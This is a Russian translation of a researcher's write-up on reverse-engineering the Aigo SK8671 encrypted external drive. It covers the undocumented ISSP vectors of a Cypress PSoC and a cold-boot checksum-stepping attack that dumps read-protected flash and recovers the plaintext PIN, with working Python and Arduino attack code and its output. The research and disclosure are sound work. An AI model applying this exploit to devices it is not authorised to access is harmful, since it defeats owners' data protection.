Information Security
Data recovery
Reverse engineering
Data storage
24 June

Реверсинг и взлом самошифрующегося внешнего HDD-накопителя Aigo. Часть 2: Снимаем дамп с Cypress PSoC

Original author: Raphaёl Rigo
Translation

Это вторая и заключительная часть статьи про взлом внешних самошифрующихся накопителей. Напоминаю, недавно коллега занес мне жёсткий диск Patriot (Aigo) SK8671, и я решил его отреверсить, а теперь делюсь, что из этого получилось. Перед тем как читать дальше обязательно ознакомьтесь с первой частью статьи.


4. Начинаем снимать дамп с внутренней флешки PSoC
5. ISSP-протокол
– 5.1. Что такое ISSP
– 5.2. Демистификация векторов
– 5.3. Общение с PSoC
– 5.4. Идентификация внутричиповых регистров
– 5.5. Защитные биты
6. Первая (неудавшаяся) атака: ROMX
7. Вторая атака: трассировка с холодной перезагрузкой
– 7.1. Реализация
– 7.2. Считываем результат
– 7.3. Реконструкция флеш-бинарника
– 7.4. Находим адрес хранения пинкода
– 7.5. Снимаем дамп блока №126
– 7.6. Восстановление пинкода
8. Что дальше?
9. Заключение




4. Начинаем снимать дамп с внутренней флешки PSoC


Итак, всё указывает на то (как мы установили в [первой части]()), что пинкод хранится во флеш-недрах PSoC. Поэтому нам необходимо прочитать эти флеш-недра. Фронт необходимых работ:


  • взять под контроль «общение» с микроконтроллером;
  • найти способ проверить, защищено ли это «общение» от считывания извне;
  • найти способ обхода защиты.

Существует два места, где имеет смысл искать действующий пинкод:


  • внутренняя флеш-память;
  • SRAM, где пинкод может храниться для сравнения его с тем пинкодом, который вводится пользователем.

Забегая вперёд, отмечу, что мне всё-таки удалось снять дамп внутренней флешки PSoC, – обойдя её систему защиты, посредством аппаратной атаки «трассировка с холодной перезагрузкой» – после реверсинга недокументированных возможностей ISSP-протокола. Это позволило мне напрямую снимать дамп действующего пинкода.


$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Итоговый программный код:




5. ISSP-протокол



5.1. Что такое ISSP


«Общение» с микроконтроллером может означать разные вещи: от «vendor to vendor», до взаимодействия с применением последовательного протокола (например, ICSP для Microchip’овского PIC).


У Cypress для этого собственный проприетарный протокол, называемый ISSP (in-system serial programming protocol; внутрисистемный протокол последовательного программирования), который частично описан в технической спецификации. Патент US7185162 также даёт некоторую информацию. Есть также OpenSource-аналог, называемый HSSP (мы воспользуемся им чуть позже). ISSP работает следующим образом:


  • перезагрузить PSoC;
  • вывести магическое число на ножку последовательных данных этой PSoC; для входа в режим внешнего программирования;
  • отправить команды, которые представляют собой длинные битовые строки, называемые «векторами».

В документации на ISSP эти вектора определены лишь для небольшой горстки команд:


  • Initialize-1
  • Initialize-2
  • Initialize-3 (варианты 3V и 5V)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, где dddddddd=block #
  • BULK ERASE
  • PROGRAM-BLOCK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, где DDDDDDDD = data out, aaaaaa = адрес (6 бит)
  • WRITE-BYTE: 10010aaaaaadddddddd111, где dddddddd = data in, aaaaaa = адрес (6 бит)
  • SECURE
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, где DDDDDDDDDDDDDDDD = data out: контрольная сумма девайса
  • ERASE BLOCK

Например, вектор для Initialize-2:


1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

У всех векторов одинакова длина: 22 бита. В документации на HSSP есть некоторые дополнительные сведения по ISSP: «ISSP-вектор это ни что иное как битовая последовательность, представляющая собой набор инструкций».



5.2. Демистификация векторов


Разберёмся, что здесь происходит. Первоначально я предполагал, что эти самые векторы представляют собой raw-варианты M8C-инструкций, однако проверив эту гипотезу, я обнаружил, что опкоды операций не совпадают.


Затем я загуглил вышеприведённый вектор, и наткнулся на вот это исследование, где автор, хотя и не погружается в детали, даёт несколько дельных подсказок: «Каждая инструкция начинается с трёх бит, которые соответствуют одной из четырёх мнемоник (прочитать из RAM, записать в RAM, прочитать регистр, записать регистр). Затем идёт 8-бит адреса, после чего 8 бит данных (считанные или для записи) и наконец три стоп-бита».


Затем мне удалось почерпнуть очень полезную информацию из раздела «Supervisory ROM (SROM)» технического руководства. SROM это жёстко закодированная ROM, в PSoC, которая предоставляет сервисные функции (по схожему принципу, что и Syscall), – для программного кода, запущенного в пользовательском пространстве:


  • 00h: SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Calibrate0
  • 09h: Calibrate1

Сравнивая имена векторов с функциями SROM, мы можем сопоставить различные операции, поддерживаемые этим протоколом, – с ожидаемыми SROM-параметрами. Благодаря этому можем декодировать первые три бита ISSP-векторов:


  • 100 => “wrmem”
  • 101 => “rdmem”
  • 110 => “wrreg”
  • 111 => “rdreg”

Однако полное понимание внутричиповых процессов, можно получить только при непосредственном общении с PSoC.



5.3. Общение с PSoC


Поскольку Дирк Петраутский уже портировал Cypress’овский HSSP-код на Arduino, я воспользовался Arduino Uno для подключения к ISSP-разъёму клавиатурной платы.


Обратите внимание, что в ходе своих исследования, я довольно сильно изменил код Дирка. Мою модификацию можете найти на GitHub: здесь и соответствующий Python-скрипт для общения с Arduino, в моём репозитории cypress_psoc_tools.


Итак, применяя Arduino, я сначала использовал для «общения» только «официальные» векторы. Я попытался прочитать внутреннюю ROM, используя команду VERIFY. Как и ожидалось, этого мне сделать не удалось. Вероятно из-за того, что внутри флешки активированы биты защиты от считывания.


Затем я создал несколько своих простеньких векторов, для записи и чтения памяти/регистров. Обратите внимание, что мы можем читать всю SROM, даже несмотря на то, что флешка защищена!



5.4. Идентификация внутричиповых регистров


Посмотрев на «дизассемблированные» векторы, я обнаружил, что девайс использует недокументированные регистры (0xF8-0xFA), для указания M8C-опкодов, которые выполняются напрямую, в обход защиты. Это позволило мне запускать различные опкоды, такие как «ADD», «MOV A, X», «PUSH» или «JMP». Благодаря им (глядя на побочные эффекты, оказываемые ими на регистры) я смог определить, какие из недокументированных регистров, фактически являются обычными регистрами (A, X, SP и PC).


В итоге, «дизассемблированный» код, сгенерированный инструментом HSSP_disas.rb, – выглядит так (для ясности я добавил комментарии):


--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод


5.5. Защитные биты


На данном этапе я уже могу общаться с PSoC, но у меня всё ещё нет достоверной информации о защитных битах флешки. Я был очень удивлён тем фактом, что Cypress не даёт пользователю девайса никаких средств для того чтобы проверить, активирована ли защита. Я углубился в Google, чтобы окончательно понять, что HSSP-код, предоставленный Cypress’ом, был обновлён уже после того, как Дирк выпустил свою модификацию. И вот! Появился вот такой новый вектор:


[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Используя этот вектор (см. read_security_data в psoc.py), мы получаем все защитные биты в SRAM в 0x80, где на каждый защищаемы блок приходится по два бита.


Результат удручает: всё защищено в режиме «отключить внешние чтение и запись». Поэтому мы не только считывать с флешки ничего не можем, но и записывать тоже (чтобы например внедрить туда ROM-дампер). А единственный способ отключить защиту – полностью стереть весь чип. :-(



6. Первая (неудавшаяся) атака: ROMX


Однако мы можем попробовать сделать следующий трюк: поскольку у нас есть возможность выполнять произвольные опкоды, почему бы не выполнить ROMX, который применяется для чтения флеш-памяти? У такого подхода есть неплохие шансы на успех. Потому что функция ReadBlock, считывающая данные из SROM (которая используется векторами), проверяет, вызывается ли она из ISSP. Однако опкод ROMX, предположительно, может не иметь такой проверки. Итак, вот Python-код (после добавления нескольких вспомогательных классов в Сишный Arduino-код):


for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("\x28\x30\x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

К сожалению, этот код не работает. :-( Вернее работает, но мы на выходе получаем свои собственные опкоды (0x28 0x30 0x40)! Не думаю, что соответствующая функциональность девайса является элементом защиты от чтения. Это больше похоже на инженерный трюк: при выполнении внешних опкодов, ROM’овская шина перенаправляется на временный буфер.



7. Вторая атака: трассировка с холодной перезагрузкой


Поскольку трюк с ROMX не сработал, я стал обдумывать другую вариацию этого трюка – описанную в публикации «Shedding too much Light on a Microcontroller’s Firmware Protection».



7.1. Реализация


В документации на ISSP приведён следующий вектор для CHECKSUM-SETUP:


[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Здесь по сути производится вызов SROM-функции 0x07, как представлено в документации (курсив мой):


Эта функция проверки контрольной суммы. Она вычисляет 16-битовую контрольную сумму количества блоков, заданных пользователем – в одном флэш-банке, отсчитывая с нуля. Параметр BLOCKID используется для передачи количества блоков, которое будет использоваться при расчёте контрольной суммы. Значение «1» будет вычислять контрольную сумму только для нулевого блока; тогда как «0» приведёт к тому, что будет вычислена общая контрольная сумма всех 256 блоков флеш-банка. 16-битовая контрольная сумма возвращается через KEY1 и KEY2. В параметре KEY1 фиксируются младшие 8 бит контрольной суммы, а в KEY2 – старшие 8 бит. Для девайсов с несколькими флеш-банками, функция контрольной суммы вызывается для каждого по отдельности. Номер банка, с которым она будет работать, задаётся регистром FLS_PR1 (путём установки в нём бита, соответствующего целевому флеш-банку).

Обратите внимание, что это простейшая контрольная сумма: байты просто суммируются один за другим; никаких изощрённых CRC-причуд. Кроме того, зная, что в ядре M8C набор регистров очень невелик, я предположил, что при вычислении контрольной суммы, промежуточные значения будут фиксироваться в тех же самых переменных, которые в итоге на выход пойдут: KEY1 (0xF8) / KEY2 (0xF9).


Итак, в теории моя атака выглядит так:


  1. Соединяемся через ISSP.
  2. Запускаем вычисление контрольной суммы, с использованием вектора CHECKSUM-SETUP.
  3. Перезагружаем процессор через заданное время T.
  4. Считываем RAM, чтобы получить текущую контрольную сумму C.
  5. Повторяем шаги 3 и 4, каждый раз немного увеличивая T.
  6. Восстанавливаем данные из флешки, посредством вычитания предыдущей контрольной суммы C из текущей.

Однако возникла проблема: вектор Initialize-1, который мы должны отправить после перезагрузки, перезаписывает KEY1 и KEY2:


1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Этот код затирает нашу драгоценную контрольную сумму, вызывая Calibrate1 (SROM-функция 9)… Может быть нам удастся, просто отправив магическое число (из начала вышеприведённого кода), войти в режим программирования, и затем считать SRAM? И да, это работает! Arduino-код, реализующий эту атаку, довольно прост:


case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Считать checkum_delay.
  2. Запустить вычисление контрольной суммы (send_checksum_v).
  3. Подождать заданный промежуток времени; учитывая следующие подводные камни:
    • я убил уйму времени, пока не узнал, что оказывается delayMicroseconds работает корректно только с задержками не превышающими 16383мкс;
    • и затем снова убил столько же времени, пока не обнаружил, что delayMicroseconds, если ей на вход передать 0, работает совершенно неправильно!
  4. Перезагрузить PSoC в режим программирования (просто магическое число отправляем, без отправки инициализирующих векторов).

Итоговый код на Python:


for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("\x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

В двух словах, что делает этот код:


  1. Перезагружает PSoC (и отправляет ему магическое число).
  2. Отправляет полноценные векторы инициализации.
  3. Вызывает Arduino-функцию Cmnd_STK_START_CSUM (0x85), куда в качестве параметра передаётся задержка в микросекундах.
  4. Считывает контрольную сумму (0xF8 и 0xF9) и недокументированный регистр 0xF1.

Этот код выполняется по 10 раз за 1 микросекунду. 0xF1 сюда включён, поскольку был единственным регистром, который менялся при вычислении контрольной суммы. Возможно, это какая-то временная переменная, используемая арифметико-логическим устройством. Обратите внимание на уродливый хак, которым я перезагружаю Arduino, используя picocom, когда Arduino перестаёт подавать признакижизни (понятия не имею, почему).



7.2. Считываем результат


Результат работы Python-скрипта выглядит так (упрощён для удобочитаемости):


DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

При этом у нас есть проблема: поскольку мы оперируем фактической контрольной суммой, нулевой байт не меняет считанное значение. Однако поскольку вся процедура вычисления (8192 байта) занимает 0,1478 секунд (с небольшими отклонениями при каждом запуске), что примерно соответствует 18,04 мкс на байт, – мы можем использовать это время для проверки значения контрольной суммы в подходящие моменты времени. Для первых прогонов всё считывается довольно-таки легко, поскольку длительность выполнения вычислительной процедуры всегда практически одинаковая. Однако конец этого дампа менее точен, потому что «незначительные отклонения по времени» при каждом прогоне – суммируются, и становятся значительными:


134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Это 10 дампов для каждой микросекундной задержки. Общее время работы для снятия дампа всех 8192 байт флешки, составляет порядка 48 часов.



7.3. Реконструкция флеш-бинарника


Я пока ещё не завершил написание кода, который полностью реконструирует программный код флешки, с учётом всех отклонений по времени. Однако начало этого кода я уже восстановил. Чтобы убедиться в том, что сделал это корректно, я дизассемблировал его, при помощи m8cdis:


0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Выглядит вполне правдоподобно!



7.4. Находим адрес хранения пинкода


Теперь, когда мы можем считывать контрольную сумму в нужные нам моменты времени, – мы можем легко проверить, как и где она меняется, когда мы:


  • вводим неверный пинкод;
  • измененяем пинкод.

Вначале, чтобы найти приблизительный адрес хранения, я снял дамп контрольной суммы с шагом в 10 мс, после перезагрузки. Затем я ввёл неверный пинкод и сделал то же самое.


Результат оказался не очень приятным, поскольку изменений было много. Но в конце концов мне удалось установить, что контрольная сумма изменилась где-то в промежутке между 120000 мкс и 140000 мкс задержки. Но «пинкод», который я там обранужили, был абсолютно неправильный – из-за артефакта процедуры delayMicroseconds, которая делает непонятные вещи, когда ей передаётся 0.


Затем, потратив почти 3 часа, я вспомнил, что SROM’овский системный вызов CheckSum на входе получает аргумент, задающий количество блоков для контрольной суммы! Т.о. мы можем без труда локализовать адрес хранения пинкода и счётчика «неверных попыток», – с точностью до 64-байтового блока.


Мои первоначальные прогоны дали следующий результат:



Затем я поменял пинкод с «123456» на «1234567» и получил:



Таким образом, пинкод и счётчик неверных попыток, похоже хранятся в блоке №126.



7.5. Снимаем дамп блока №126


Блок №126 должен располагаться где-то в районе 125x64x18 = 144000мкс, от начала расчёта контрольной суммы, в моём полном дампе, и он выглядит вполне правдоподобно. Затем, после ручного отсеивания многочисленных неверных дампов (из-за накопления «незначительных отклонений по времени»), я в итоге получил вот такие байты (на задержке 145527мкс):



Совершенно очевидно, что пинкод хранится в незашифрованном виде! Эти значения конечно не в ASCII-кодах записаны, но как оказалось – отражают показания, снятые с ёмкостной клавиатуры.


Наконец, я провёл ещё несколько тестов, чтобы найти, где хранится счётчик неверных попыток. Вот результат:



0xFF – означает «15 попыток», и он уменьшается при каждой неверной попытке.



7.6. Восстановление пинкода


Вот мой уродливый код, который собирает вместе всё выше сказанное:


def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Вот результат его выполнения:


$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Ура! Работает!


Обратите внимание, что значения задержки, использованные мной, скорее всего актуальны для одного конкретного PSoC – того, которым пользовался я.



8. Что дальше?


Итак, подведём итоги на стороне PSoC, в контексте нашего накопителя Aigo:


  • мы можем считывать SRAM, даже если она защищена от считывания;
  • мы можем обойти защиту от считывания, посредством атаки «трассировка с холодной перезагрузкой», и непосредственного считывания пинкода.

Тем не менее, у нашей атаки есть некоторые недоработки – из-за проблем с синхронизацией. Её можно было бы улучшить следующим образом:


  • написать утилиту для правильного декодирования выходных данных, которые получены в результате атаки «трассировка с холодной перезагрузкой»;
  • использовать FPGA-примочку для создания более точных временных задержек (или использовать аппаратные таймеры Arduino);
  • попробовать ещё одну атаку: ввести заведомо неверный пинкод, перезагрузить и с дампить RAM, надеясь на то, что правильный пинкод окажется сохранённым в RAM, для сравнения. Однако на Arduino это сделать не так-то просто, поскольку уровень сигнала Arduino составляет 5 вольт, в то время как исследуемая нами плата работает с сигналами в 3,3 вольт.

Одна интересная вещь, которую можно было бы попробовать – поиграть уровнем напряжения, для обхода защиты от чтения. Если бы такой подход сработал, мы бы смогли получать абсолютно точные данные с флешки, – вместо того, чтобы полагаться на чтение контрольной суммы с неточными временными задержками.


Поскольку SROM, вероятно считывает защитные биты посредством системного вызова ReadBlock, мы могли бы сделать то же самое, что описано в блоге Дмитрия Недоспасова – повторная реализация атаки Криса Герлински, анонсированной на конференции «REcon Brussels 2017».


Ещё одна забавная вещь, которую можно было бы сделать – сточить с микросхемы корпус: для снятия дампа SRAM, выявления недокументированных системных вызовов и уязвимостей.



9. Заключение


Итак, защита этого накопителя оставляет желать лучшего, потому что он для хранения пинкода использует обычный (не «закалённый») микроконтроллер… Плюс я ещё не смотрел (пока), как на этом девайсе дела обстоят с шифрованием данных!


Что можно посоветовать для Aigo? Проанализировав пару-тройку моделей зашифрованных HDD-накопителей, я в 2015 году сделал презентацию на SyScan, в которой рассмотрел проблемы безопасности нескольких внешних HDD-накопителей, и дал рекомендации, что в них можно было бы улучшить. :-)


На это исследование я потратил два выходных и несколько вечеров. В общей сложности порядка 40 часов. Считая с самого начала (когда я вскрыл диск) и до конца (дамп пинкода). В эти же 40 часов включено время, которое я потратил для написания этой статьи. Очень увлекательное было путешествие.


+33
6.7k 52
Comments 11
Top of the day